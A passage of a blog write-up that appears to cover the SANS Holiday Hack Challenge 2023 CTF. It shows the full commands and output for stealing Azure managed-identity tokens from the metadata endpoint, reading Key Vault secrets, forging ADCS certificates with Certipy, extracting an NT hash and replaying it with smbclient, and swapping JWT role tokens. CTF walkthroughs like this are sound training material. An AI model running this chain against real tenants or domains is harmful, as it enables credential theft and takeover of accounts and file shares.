&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;try again cleaner output:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -H 'Authorization: Bearer '$ACCESS_TOKEN https://management.azure.com/sp/providers/Microsoft.Authorization/permissions\?api-version\=2022-04-01 -s |jq -r
{
  &quot;value&quot;: [
    {
      &quot;actions&quot;: [
        &quot;Microsoft.KeyVault/vaults/read&quot;,
        &quot;Microsoft.KeyVault/vaults/secrets/read&quot;,
        &quot;Microsoft.Web/sites/sourcecontrols/Read&quot;,
        &quot;microsoft.web/sites/functions/read&quot;,
        &quot;Microsoft.Resources/subscriptions/resourceGroups/read&quot;
      ],
      &quot;notActions&quot;: [],
      &quot;dataActions&quot;: [
        &quot;Microsoft.KeyVault/vaults/secrets/getSecret/action&quot;,
        &quot;Microsoft.KeyVault/vaults/secrets/readMetadata/action&quot;
      ],
      &quot;notDataActions&quot;: []
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Digging deeper, into Keyvault permissions:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -H 'Authorization: Bearer '$ACCESS_TOKEN https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.KeyVault/vaults/\?api-version\=2023-07-01 -s|jq -r
{
  &quot;value&quot;: [
    {
      &quot;id&quot;: &quot;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv&quot;,
      &quot;name&quot;: &quot;northpole-it-kv&quot;,
      &quot;type&quot;: &quot;Microsoft.KeyVault/vaults&quot;,
      &quot;location&quot;: &quot;eastus&quot;,
      &quot;tags&quot;: {},
      &quot;systemData&quot;: {
        &quot;createdBy&quot;: &quot;thomas@sanshhc.onmicrosoft.com&quot;,
        &quot;createdByType&quot;: &quot;User&quot;,
        &quot;createdAt&quot;: &quot;2023-10-30T13:17:02.532Z&quot;,
        &quot;lastModifiedBy&quot;: &quot;thomas@sanshhc.onmicrosoft.com&quot;,
        &quot;lastModifiedByType&quot;: &quot;User&quot;,
        &quot;lastModifiedAt&quot;: &quot;2023-10-30T13:17:02.532Z&quot;
      },
      &quot;properties&quot;: {
        &quot;sku&quot;: {
          &quot;family&quot;: &quot;A&quot;,
          &quot;name&quot;: &quot;Standard&quot;
        },
        &quot;tenantId&quot;: &quot;90a38eda-4006-4dd5-924c-6ca55cacc14d&quot;,
        &quot;accessPolicies&quot;: [],
        &quot;enabledForDeployment&quot;: false,
        &quot;enabledForDiskEncryption&quot;: false,
        &quot;enabledForTemplateDeployment&quot;: false,
        &quot;enableSoftDelete&quot;: true,
        &quot;softDeleteRetentionInDays&quot;: 90,
        &quot;enableRbacAuthorization&quot;: true,
        &quot;vaultUri&quot;: &quot;https://northpole-it-kv.vault.azure.net/&quot;,
        &quot;provisioningState&quot;: &quot;Succeeded&quot;,
        &quot;publicNetworkAccess&quot;: &quot;Enabled&quot;
      }
    },
    {
      &quot;id&quot;: &quot;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv&quot;,
      &quot;name&quot;: &quot;northpole-ssh-certs-kv&quot;,
      &quot;type&quot;: &quot;Microsoft.KeyVault/vaults&quot;,
      &quot;location&quot;: &quot;eastus&quot;,
      &quot;tags&quot;: {},
      &quot;systemData&quot;: {
        &quot;createdBy&quot;: &quot;thomas@sanshhc.onmicrosoft.com&quot;,
        &quot;createdByType&quot;: &quot;User&quot;,
        &quot;createdAt&quot;: &quot;2023-11-12T01:47:13.059Z&quot;,
        &quot;lastModifiedBy&quot;: &quot;thomas@sanshhc.onmicrosoft.com&quot;,
        &quot;lastModifiedByType&quot;: &quot;User&quot;,
        &quot;lastModifiedAt&quot;: &quot;2023-11-12T01:50:52.742Z&quot;
      },
      &quot;properties&quot;: {
        &quot;sku&quot;: {
          &quot;family&quot;: &quot;A&quot;,
          &quot;name&quot;: &quot;standard&quot;
        },
        &quot;tenantId&quot;: &quot;90a38eda-4006-4dd5-924c-6ca55cacc14d&quot;,
        &quot;accessPolicies&quot;: [
          {
            &quot;tenantId&quot;: &quot;90a38eda-4006-4dd5-924c-6ca55cacc14d&quot;,
            &quot;objectId&quot;: &quot;0bc7ae9d-292d-4742-8830-68d12469d759&quot;,
            &quot;permissions&quot;: {
              &quot;keys&quot;: [
                &quot;all&quot;
              ],
              &quot;secrets&quot;: [
                &quot;all&quot;
              ],
              &quot;certificates&quot;: [
                &quot;all&quot;
              ],
              &quot;storage&quot;: [
                &quot;all&quot;
              ]
            }
          },
          {
            &quot;tenantId&quot;: &quot;90a38eda-4006-4dd5-924c-6ca55cacc14d&quot;,
            &quot;objectId&quot;: &quot;1b202351-8c85-46f1-81f8-5528e92eb7ce&quot;,
            &quot;permissions&quot;: {
              &quot;secrets&quot;: [
                &quot;get&quot;
              ]
            }
          }
        ],
        &quot;enabledForDeployment&quot;: false,
        &quot;enableSoftDelete&quot;: true,
        &quot;softDeleteRetentionInDays&quot;: 90,
        &quot;vaultUri&quot;: &quot;https://northpole-ssh-certs-kv.vault.azure.net/&quot;,
        &quot;provisioningState&quot;: &quot;Succeeded&quot;,
        &quot;publicNetworkAccess&quot;: &quot;Enabled&quot;
      }
    }
  ],
  &quot;nextLink&quot;: &quot;https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourcegroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/?api-version=2023-07-01&amp;amp;$skiptoken=bm9ydGhwb2xlLXNzaC1jZXJ0cy1rdg==&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Try to access vaults:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -H 'Authorization: Bearer '$ACCESS_TOKEN https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.KeyVault/vaults/secrets\?api-version\=2023-07-01|jq -r
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;error - permission denied!&lt;/p&gt;

&lt;p&gt;Looks like we need a to obtain a new access_token for &lt;strong&gt;vault.azure.net&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ACCESS_TOKENA=$(curl -H Metadata:true &quot;http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;amp;resource=https%3A%2F%2Fvault.azure.net&quot; |jq -r .access_token)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now try the vault again:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ curl -s -H 'Authorization: Bearer '$ACCESS_TOKENA https://northpole-it-kv.vault.azure.net/secrets/\?api-version\=7.4|jq -r
{
  &quot;value&quot;: [
    {
      &quot;id&quot;: &quot;https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript&quot;,
      &quot;attributes&quot;: {
        &quot;enabled&quot;: true,
        &quot;created&quot;: 1699564823,
        &quot;updated&quot;: 1699564823,
        &quot;recoveryLevel&quot;: &quot;Recoverable+Purgeable&quot;,
        &quot;recoverableDays&quot;: 90
      },
      &quot;tags&quot;: {}
    }
  ],
  &quot;nextLink&quot;: null
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Wohoo! Found a script, hopefully its spicey!&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -s -H 'Authorization: Bearer '$ACCESS_TOKENA https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript\?api-version\=7.4|jq -r
{
  &quot;value&quot;: &quot;Import-Module ActiveDirectory; $UserName = \&quot;elfy\&quot;; $UserDomain = \&quot;northpole.local\&quot;; $UserUPN = \&quot;$UserName@$UserDomain\&quot;; $Password = ConvertTo-SecureString \&quot;J4`ufC49/J4766\&quot; -AsPlainText -Force; $DCIP = \&quot;10.0.0.53\&quot;; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \&quot;\&quot; -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru&quot;,
  &quot;id&quot;: &quot;https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d&quot;,
  &quot;attributes&quot;: {
    &quot;enabled&quot;: true,
    &quot;created&quot;: 1699564823,
    &quot;updated&quot;: 1699564823,
    &quot;recoveryLevel&quot;: &quot;Recoverable+Purgeable&quot;,
    &quot;recoverableDays&quot;: 90
  },
  &quot;tags&quot;: {}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Tidify the script:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Import-Module ActiveDirectory; $UserName = \&quot;elfy\&quot;;
$UserDomain = \&quot;northpole.local\&quot;;
$UserUPN = \&quot;$UserName@$UserDomain\&quot;;
$Password = ConvertTo-SecureString \&quot;J4`ufC49/J4766\&quot; -AsPlainText -Force;
$DCIP = \&quot;10.0.0.53\&quot;;
New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \&quot;\&quot; -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We have what we need to progress:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;username&lt;/li&gt;
  &lt;li&gt;password&lt;/li&gt;
  &lt;li&gt;domain&lt;/li&gt;
  &lt;li&gt;dc-ip&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Hmmm, didnt Alabaster have a bunch of impacket tools…. Lets do play on the domain (specifically the DC)….&lt;/p&gt;

&lt;p&gt;Hey certipy is in impacket, and it was the most serious issue on the pentest report in reportinator, lets play with it…&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./certipy find -vulnerable -u elfy -p J4\`ufC49/J4766 -target 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231208121336_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231208121336_Certipy.txt'
[*] Saved JSON output to '20231208121336_Certipy.json'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, so it found a vulnerable users group:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;NorthpoleUsers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Initially, we think about forging UPNs and privilege escalating to admin (makes our lives easier)&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./certipy req -username 'elfy@northpole.local' -password 'J4`ufC49/J4766' -ca northpole-npdc01-CA -dc-ip 10.0.0.53 -template NorthPoleUsers -upn 'administrator@northpole.local'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 25
[*] Got certificate with UPN 'administrator@northpole.corp'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sadly, this doesn’t work? Maybe administrator is not the way…&lt;/p&gt;

&lt;p&gt;Lets find alabaster’s account, bingo, that works but wrong permissions. What were the objectives again? a file on Wombley Cubes share. Lets find him:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ GetADUsers.py -dc-ip 10.0.0.53 northpole.local/elfy:&quot;J4\`ufC49/J4766&quot; -all
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Querying 10.0.0.53 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
alabaster                                             2023-12-14 01:32:23.273691  2023-12-14 11:45:07.453905
Guest                                                 &amp;lt;never&amp;gt;              &amp;lt;never&amp;gt;
krbtgt                                                2023-12-14 01:40:20.814181  &amp;lt;never&amp;gt;
elfy                                                  2023-12-14 01:42:36.995282  2023-12-14 12:27:12.683893
wombleycube                                           2023-12-14 01:42:37.135907  2023-12-14 13:26:34.381346
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./certipy account -u 'elfy@northpole.local' -p 'J4`ufC49/J4766' -dc-ip 10.0.0.53 -user wombleycube read
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Reading attributes for 'wombleycube':
    cn                                  : wombleycube
    distinguishedName                   : CN=wombleycube,CN=Users,DC=northpole,DC=local
    name                                : wombleycube
    objectSid                           : S-1-5-21-1571514939-4082307998-924462285-1105
    sAMAccountName                      : wombleycube
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, we found Wombley’s account now lets acquire his certificate:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;alabaster@ssh-server-vm:~/impacket$ ./certipy req -username 'elfy@northpole.local' -password 'J4`ufC49/J4766' -ca northpole-npdc01-CA -dc-ip 10.0.0.53 -template NorthPoleUsers -upn 'wombleycube@northpole.local'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 30
[*] Got certificate with UPN 'wombleycube@northpole.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And now steal his NT hash:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;alabaster@ssh-server-vm:~/impacket$ ./certipy auth -pfx wombleycube.pfx -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: wombleycube@northpole.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for 'wombleycube@northpole.local': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we can use smbclient against the domain:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;alabaster@ssh-server-vm:~/impacket$ ./smbclient.py -hashes :5740373231597863662f6d50484d3e23 -dc-ip 10.0.0.53 wombleycube@10.0.0.53
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL
# mount FileShare
[-] cannot access local variable 'pathName' where it is not associated with a value
# cd \\FileShare
[-] No share selected
# use FileShare
# ls
drw-rw-rw-          0  Fri Dec  8 02:59:44 2023 .
drw-rw-rw-          0  Fri Dec  8 02:59:40 2023 ..
-rw-rw-rw-     701028  Fri Dec  8 02:59:44 2023 Cookies.pdf
-rw-rw-rw-    1521650  Fri Dec  8 02:59:44 2023 Cookies_Recipe.pdf
-rw-rw-rw-      54096  Fri Dec  8 02:59:44 2023 SignatureCookies.pdf
drw-rw-rw-          0  Fri Dec  8 02:59:44 2023 super_secret_research
-rw-rw-rw-        165  Fri Dec  8 02:59:44 2023 todo.txt
# cat todo.txt
1. Bake some cookies.
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
3. Profit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Objective 19 complete&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;InstructionsForEnteringSatelliteGroundStation.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we can read the textfile, this is probably part of the next challenge….&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cat InstructionsForEnteringSatelliteGroundStation.txt
Note to self:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;steampunk-island&quot;&gt;Steampunk Island&lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Steampunk-island.png&quot; alt=&quot;Steampunk Island&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;coggoggle-marina&quot;&gt;Coggoggle Marina&lt;/h2&gt;

&lt;h3 id=&quot;characters-13&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Ribb Boneford
    &lt;ul&gt;
      &lt;li&gt;first deal with alabaster&lt;/li&gt;
      &lt;li&gt;go back to alabaster hack the AD&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Jason
    &lt;ul&gt;
      &lt;li&gt;im not a dead fish&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-jason.png&quot; alt=&quot;Jason&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;rusty-quay&quot;&gt;Rusty Quay&lt;/h2&gt;

&lt;h3 id=&quot;characters-14&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Angel Candysalt&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;other-3&quot;&gt;Other&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;location of gameboy cartridge vol 3&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;brass-bouy-port&quot;&gt;Brass Bouy Port&lt;/h2&gt;

&lt;h3 id=&quot;characters-15&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Goose of steam punk&lt;/li&gt;
  &lt;li&gt;Bow ninecandle&lt;/li&gt;
  &lt;li&gt;Chimney scissorsticks&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;faster-lock-combination&quot;&gt;Faster Lock Combination&lt;/h3&gt;

&lt;p&gt;Presenting a challenge specifically crafted to expose users to the vulnerabilities inherent in certain spin-lock implementations. This exercise is designed to highlight and demonstrate the weaknesses associated with these particular types of spin locks.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-fasterlock.png&quot; alt=&quot;Faster lock&quot; width=&quot;400&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;refences&quot;&gt;Refences&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://samy.pl/master/master.html&quot;&gt;https://samy.pl/master/master.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;howto&quot;&gt;Howto&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Using samy’s guide and calculator…&lt;/li&gt;
  &lt;li&gt;Lock became stuck on 0 , 5&lt;/li&gt;
  &lt;li&gt;Resistance observed at 26&lt;/li&gt;
  &lt;li&gt;using samy’s calculator: 31,5,35&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;alternative-method&quot;&gt;Alternative method&lt;/h4&gt;

&lt;p&gt;It’s all a simulation after all….&lt;/p&gt;

&lt;p&gt;Replicating complex mechanism in video games, is tough, you lose the feel and dexterity of life, so have to rely on visual cues.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Find resistance add 5 to its value for the first digit&lt;/li&gt;
  &lt;li&gt;Turn anti clockwise to get past 0, put tension on lock, and continue the movement noting the sticking points
    &lt;ul&gt;
      &lt;li&gt;repeat this step, you should end up with a sequence&lt;/li&gt;
      &lt;li&gt;3,7,11,15,19 … (our lock)&lt;/li&gt;
      &lt;li&gt;2,6,10,14,18 …&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Note the sequence&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now with this info:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Turn right 3x til you hit this number&lt;/li&gt;
  &lt;li&gt;Turn left twice on each sequence 3,7,11,15,19
    &lt;ul&gt;
      &lt;li&gt;if the lock reset turns red; you made a mistake start again&lt;/li&gt;
      &lt;li&gt;if the lock reset stays green - keep going, its looking good&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Turn right 1x, hit every number and pull shackle until the lock pops
25,3,17&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once opened! &lt;strong&gt;Objective 8 complete&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;the-captains-comms&quot;&gt;The Captain’s Comms&lt;/h3&gt;

&lt;h4 id=&quot;hints-8&quot;&gt;Hints&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Find journal pixel island&lt;/li&gt;
  &lt;li&gt;/jwtDefault/rMonitor.tok?&lt;/li&gt;
  &lt;li&gt;Moved privatekey to a folder no one will find?&lt;/li&gt;
  &lt;li&gt;capsPubKey.key ‘publickey’ in keys folder same dir as ‘roleMonitor’ (rMonitor)&lt;/li&gt;
  &lt;li&gt;rMonitor/capsPubKey.key&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Extract from winning Elfhunt:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I hear the Captain likes to abbreviate words in his filenames; shortening some words to just 1,2,3, or 4 letters.
ROLE: GeeseIslandsSuperChiefCommunicationsOfficer&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There is not much we can initially do, read some books, scraps of paper on the desk. The hints tell us theres an initial Monitor role so we will target and obtain that role first…&lt;/p&gt;

&lt;p&gt;We start looking for the default directory and file&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;/jwtDefault/rMonitor.tok&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, this is proving difficult did we make a misake?&lt;/p&gt;

&lt;p&gt;Turns out we need an initial dummy role from accessing /checkRole this can be achieved by clicking on the SDR machine. We recommend using an intercepting proxy so you can capture and replay the request.&lt;/p&gt;

&lt;p&gt;Manipulating the captured request proves successful and we can find the JWT token for the Monitor role:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /jwtDefault/rMonitor.tok HTTP/2
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvTW9uaXRvciJ9.f_z24CMLim2JDKf8KP_PsJmMg3l_V9OzEwK1E_IBE9rrIGRVBZjqGpvTqAQQSesJD82LhK2h8dCcvUcF7awiAPpgZpcfM5jdkXR7DAKzaHAV0OwTRS6x_Uuo6tqGMu4XZVjGzTvba-eMGTHXyfekvtZr8uLLhvNxoarCrDLiwZ_cKLViRojGuRIhGAQCpumw6NTyLuUYovy_iymNfe7pqsXQNL_iyoUwWxfWcfwch7eGmf2mBrdEiTB6LZJ1ar0FONfrLGX19TV25Qy8auNWQIn6jczWM9WcZbuOIfOvlvKhyVWbPdAK3zB7OOm-DbWm1aFNYKr6JIRDLobPfiqhKg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Obtain the public key:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /jwtDefault/keys/capsPubKey.key
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsJZuLJVB4EftUOQN1Auw
VzJyr1Ma4xFo6EsEzrkprnQcdgwz2iMM76IEiH8FlgKZG1U0RU4N3suI24NJsb5w
J327IYXAuOLBLzIN65nQhJ9wBPR7Wd4Eoo2wJP2m2HKwkW5Yadj6T2YgwZLmod3q
n6JlhN03DOk1biNuLDyWao+MPmg2RcxDR2PRnfBartzw0HPB1yC2Sp33eDGkpIXa
cx/lGVHFVxE1ptXP+asOAzK1wEezyDjyUxZcMMmV0VibzeXbxsXYvV3knScr2WYO
qZ5ssa4Rah9sWnm0CKG638/lVD9kwbvcO2lMlUeTp7vwOTXEGyadpB0WsuIKuPH6
uQIDAQAB
-----END PUBLIC KEY-----
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we can access the SDR, but we cant decode any signals. Refering to the manuals we need another role…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-SDR.png&quot; alt=&quot;SDR&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So next we need to obtain the radioDecoder role or rDecoder.tok&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /jwtDefault/rDecoder.tok
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We alter you replace header in burp and substitute our previous Authorization bearer token for this new role.&lt;/p&gt;

&lt;p&gt;Now we can decode the SDR signals like so:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-SDR-CW.png&quot; alt=&quot;CW&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-SDR-Numbers.png&quot; alt=&quot;Numbers&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-SDR-Fax.png&quot; alt=&quot;Fax&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Get the Private Key&lt;/p&gt;

